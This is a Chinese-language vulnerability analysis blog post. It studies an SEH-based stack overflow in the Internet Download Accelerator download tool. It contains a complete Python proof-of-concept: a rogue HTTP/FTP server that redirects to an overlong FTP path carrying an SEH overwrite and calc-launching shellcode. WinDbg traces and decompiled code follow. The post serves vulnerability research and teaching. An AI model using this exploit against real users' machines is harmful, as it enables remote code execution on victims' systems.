作者: k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Internet Download Accelerator是一个下载工具,在处理http下载的时候,由于对于下载的路径长度没有进行有效的检查,导致调用一个叫做strlcopy函数的时候,由于拷贝导致栈溢出,后续再次引用某指针的时候,由于指针被覆盖,进入SEH异常处理函数,通过覆盖SEH指针,导致代码执行。下面进行详细分析。
软件下载:
https://www.exploit-db.com/apps/a1d0daafa9262927c63c37edd1214fe2-idasetup.exe
PoC:
import SocketServer
import threading
# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+ "," + ipParts[1]+ "," + ipParts[2] + "," + ipParts[3] + ",151,130)"
# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
class HTTPHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our HTTP server.
This is just so we don't have to provide a suspicious FTP link with long name.
"""
def handle(self):
# self.request is the TCP socket connected to the client
self.data = self.request.recv(1024).strip()
print "[*] Recieved HTTP Request"
print "[*] Sending Redirction To FTP"
# just send back the same data, but upper-cased
# SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
payload = "ftp://192.168.1.100/"+ 'A' * 336 + "\xeb\x06\x90\x90" + "\x53\x1b\x01\x10" + buf + "B" * (1056 - len(buf))
self.request.sendall("HTTP/1.1 302 Found\r\n" +
"Host: Server\r\nConnection: close\r\nLocation: "+
payload+
"\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
print "[*] Redirection Sent..."
class FTPHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our FTP server.
This will work normally and open a data connection with IDA.
"""
def handle(self):
# User Command
self.request.sendall("220 Nasty FTP Server Ready\r\n")
User = self.request.recv(1024).strip()
print "[*] Recieved User Command: " + User
self.request.sendall("331 User name okay, need password\r\n")
# PASS Command
Pass = self.request.recv(1024).strip()
print "[*] Recieved PASS Command: " + Pass
self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")
# SYST Command
Syst = self.request.recv(1024).strip()
print "[*] Recieved SYST Command: " + Syst
self.request.sendall("215 UNIX Type: L8\r\n")
# TYPE Command
Type = self.request.recv(1024).strip()
print "[*] Recieved Type Command: " + Type
self.request.sendall("200 Type set to I\r\n")
# REST command
Rest = self.request.recv(1024).strip()
print "[*] Recieved Rest Command: " + Rest
self.request.sendall("200 OK\r\n")
# CWD command
Cwd = self.request.recv(2048).strip()
print "[*] Recieved CWD Command: " + Cwd
self.request.sendall("250 CWD Command successful\r\n")
# PASV command.
Pasv = self.request.recv(1024).strip()
print "[*] Recieved PASV Command: " + Pasv
self.request.sendall("227 Entering Passive Mode " + PasvResp + "\r\n")
#LIST
List = self.request.recv(1024).strip()
print "[*] Recieved LIST Command: " + List
self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")
class FTPDataHandler(SocketServer.BaseRequestHandler):
"""
The request handler class for our FTP Data connection.
This will send useless response and close the connection to trigger the error.
"""
def handle(self):
# self.request is the TCP socket connected to the client
print "[*] Recieved FTP-Data Request"
print "[*] Sending Empty List"
# just send back the same data, but upper-cased
self.request.sendall("total 0\r\n\r\n")
self.request.close()
if __name__ == "__main__":
HOST, PORT = ip, 8000
SocketServer.TCPServer.allow_reuse_address = True
print "[*] Starting the HTTP Server."
# Create the server, binding to localhost on port 8000
HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)
# Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
HTTPThread.daemon = True
HTTPThread.start()
print "[*] Starting the FTP Server."
# Running the FTP server.
FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)
# Running the FTP server thread.
FTPThread = threading.Thread(target=FTPServer.serve_forever)
FTPThread.daemon = True
FTPThread.start()
print "[*] Opening the data connection."
# Opening the FTP data connection - DON'T CHANGE THE PORT.
FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)
# Running the FTP Data connection Thread.
DataThread = threading.Thread(target=FTPData.serve_forever)
DataThread.daemon = True
DataThread.start()
print "[*] Listening for FTP Data."
# Making the main thread wait.
print "[*] To exit the script please press any key at any time."
raw_input()
漏洞复现
首先,运行PoC,会开启一个web端口监听,之后用IDA输入http的路径,会自动开始下载异常网络路径的PoC文件,引发崩溃。
(a48.a34): Access violation - code c0000005 (!!! second chance !!!)
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\IDA\ida.exe -
ida+0x55b0:
004055b0 8b40fc mov eax,dword ptr [eax-4] ds:0023:06eb413d=????????
回溯堆栈调用。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fb98 41414141 41414141 06eb4141 1b539090 ida+0x55b0
0012fb9c 41414141 06eb4141 1b539090 f6311001 0x41414141
既然覆盖到了SEH,那么回溯的情况都已不可见,在分析的时候,就从recv函数入手,在接收到数据时中断。
漏洞分析
首先在recv下断点,会多次命中,直接gu执行到返回,查看接收的数据,保存在esi指针中。
0:000> g
Breakpoint 0 hit
eax=00000520 ebx=0000003f ecx=00000408 edx=004398d0 esi=01a41b18 edi=019b5c58
eip=712017a8 esp=0012fccc ebp=0012fd28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
wsock32!recv:
712017a8 8bff mov edi,edi
0:000> gu
eax=0000003f ebx=0000003f ecx=04024ec8 edx=775a70f4 esi=01a41b18 edi=019b5c58
eip=004a3b74 esp=0012fce0 ebp=0012fd28 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ida+0xa3b74:
004a3b74 8945f8 mov dword ptr [ebp-8],eax ss:0023:0012fd20=00000000
0:000> dc esi
01a41b18 20303531 65726548 6d6f6320 74207365 150 Here comes t
01a41b28 64206568 63657269 79726f74 73696c20 he directory lis
01a41b38 676e6974 320a0d2e 44203632 63657269 ting...226 Direc
01a41b48 79726f74 6e657320 6b6f2064 000a0d2e tory send ok....
确实接收到的内容是我们构造PoC返回的内容,接下来跟踪过程中,会发现执行到地址是4a042a地址位置的时候,会进行一处call调用,这个调用会多次命中。
0:000> p
eax=00000000 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a0427 esp=0012ff48 ebp=0012ff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ida+0xa0427:
004a0427 8b45fc mov eax,dword ptr [ebp-4] ss:0023:0012ff6c=01a30d00
0:000> p
eax=01a30d00 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a042a esp=0012ff48 ebp=0012ff70 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ida+0xa042a:
004a042a e8d1fdffff call ida+0xa0200 (004a0200)
其中要关注一个寄存器地址,也就是ecx,ecx存放的是一个栈地址,在最后一次执行到004a042a后,步过会到达漏洞触发的位置。
观察漏洞触发时的0012ff70这个地址空间,发现这个空间已经被覆盖成畸形字符串了,也就是栈空间被覆盖了,这时候可以通过对这个地址下内存写入断点来快速定位到漏洞发生覆盖的位置。
0:000> g
Breakpoint 2 hit
eax=0012fa00 ebx=00000582 ecx=00000010 edx=0012fa4c esi=02bd4148 edi=0012ff8c
eip=0040df15 esp=0012f984 ebp=0012fb98 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210207
ida+0xdf15:
0040df15 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd 12ff70
0012ff70 42424242 42424242 42424242 42424242
0012ff80 42424242 42424242 42424242 7653ed6c
0012ff90 7ffdf000 0012ffd4 775c37eb 7ffdf000
0012ffa0 74f69796 00000000 00000000 7ffdf000
0012ffb0 00000000 00000000 00000000 0012ffa0
0012ffc0 00000000 ffffffff 7757e115 03bf7a3a
0012ffd0 00000000 0012ffec 775c37be 00807238
0012ffe0 7ffdf000 00000000 00000000 00000000
这是一处典型的memcpy操作,这次拷贝会向栈地址拷贝数据,直接跟踪到当前的函数。
int __fastcall Sysutils::StrLCopy(int result, const char *a2, unsigned int a3)
{
const char *v3; // edi@1
unsigned int v4; // ebx@1
char v5; // zf@1
unsigned int v6; // ebx@6
char *v7; // edi@6
int v8; // ecx@6
v3 = a2;
v4 = a3;
v5 = a3 == 0;
if ( a3 )
{
do
{
if ( !a3 )
break;
v5 = *v3++ == 0;
--a3;
}
while ( !v5 );
if ( v5 )
++a3;
}
v6 = v4 - a3;
qmemcpy((void *)result, a2, 4 * (v6 >> 2));
v7 = (char *)(result + 4 * (v6 >> 2));
v8 = v6 & 3;
qmemcpy(v7, &a2[4 * (v6 >> 2)], v8);
v7[v8] = 0;
return result;
}
在这一次strcopy中,会将路径进行拷贝,而没有进行长度控制,拷贝结束后,栈地址空间会被覆盖,回到外层函数。
int __fastcall Sysutils::StrPCopy(char *a1, const int System::AnsiString)
{
char *v2; // esi@1
int v3; // eax@1
const char *v4; // eax@1
unsigned int v5; // ST00_4@1
v2 = a1;
v3 = unknown_libname_76(System::AnsiString);
v4 = (const char *)System::__linkproc__ LStrToPChar(v3);
return Sysutils::StrLCopy((int)v2, v4, v5);
}
这次strpcopy结束之后,会再次返回,在这个函数中的strlcopy已经将进行字符串拷贝,从而导致栈空间被覆盖,关键指针被覆盖。
0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b463d esp=0012f9a4 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida!EXECryptor_halt+0x163a39:
007b463d 8945b4 mov dword ptr [ebp-4Ch],eax ss:0023:0012fb4c=41414141
0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4640 esp=0012f9a4 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida!EXECryptor_halt+0x163a3c:
007b4640 8d45b8 lea eax,[ebp-48h]
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4643 esp=0012f9a4 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida!EXECryptor_halt+0x163a3f:
007b4643 8b550c mov edx,dword ptr [ebp+0Ch] ss:0023:0012fba4=06eb4141
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=007b4646 esp=0012f9a4 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida!EXECryptor_halt+0x163a42:
007b4646 e8dd98c5ff call ida+0xdf28 (0040df28)
0:000> t
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df28 esp=0012f9a0 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf28:
0040df28 53 push ebx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df29 esp=0012f99c ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf29:
0040df29 56 push esi
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2a esp=0012f998 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf2a:
0040df2a 51 push ecx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2b esp=0012f994 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf2b:
0040df2b 8bda mov ebx,edx
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2d esp=0012f994 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf2d:
0040df2d 8bf0 mov esi,eax
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df2f esp=0012f994 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf2f:
0040df2f 8bc3 mov eax,ebx
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df31 esp=0012f994 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0xdf31:
0040df31 e87676ffff call ida+0x55ac (004055ac)
0:000> t
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ac esp=0012f990 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0x55ac:
004055ac 85c0 test eax,eax
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ae esp=0012f990 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0x55ae:
004055ae 7403 je ida+0x55b3 (004055b3) [br=0]
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
ida+0x55b0:
004055b0 8b40fc mov eax,dword ptr [eax-4] ds:0023:06eb413d=????????
指针赋值引用了异常指针地址,导致了异常发生,引发了SEH异常处理,这个处罚位置处于刚才两个函数返回后又一处引用位置。
bool __fastcall sub_7B45DC(HWND a1, unsigned __int8 a2, unsigned __int8 a3, int System::AnsiString, int a5, char a6)
{
unsigned __int8 v6; // bl@1
HWND v7; // esi@1
struct _NOTIFYICONDATAA Data; // [sp+8h] [bp-1ECh]@1
char v10; // [sp+A8h] [bp-14Ch]@1
int v11; // [sp+1A8h] [bp-4Ch]@1
char v12; // [sp+1ACh] [bp-48h]@1
int v13; // [sp+1ECh] [bp-8h]@1
unsigned __int8 v14; // [sp+1F3h] [bp-1h]@1
v14 = a3;
v6 = a2;
v7 = a1;
System::__linkproc__ FillChar(&Data, 488, 0);
Data.cbSize = 488;
Data.hWnd = v7;
Data.uID = v6;
Data.uFlags = 16;
Sysutils::StrPCopy(&v10, System::AnsiString);
v11 = 1000 * v14;
Sysutils::StrPCopy(&v12, a5);
v13 = (unsigned __int8)byte_8AB510[(unsigned __int8)a6];
Data.uCallbackMessage = 1029;
return (unsigned int)Shell_NotifyIconA(1u, &Data) >= 1;
}
最后可以通过覆盖SEH异常处理结构的指针位置,最后引发远程代码执行。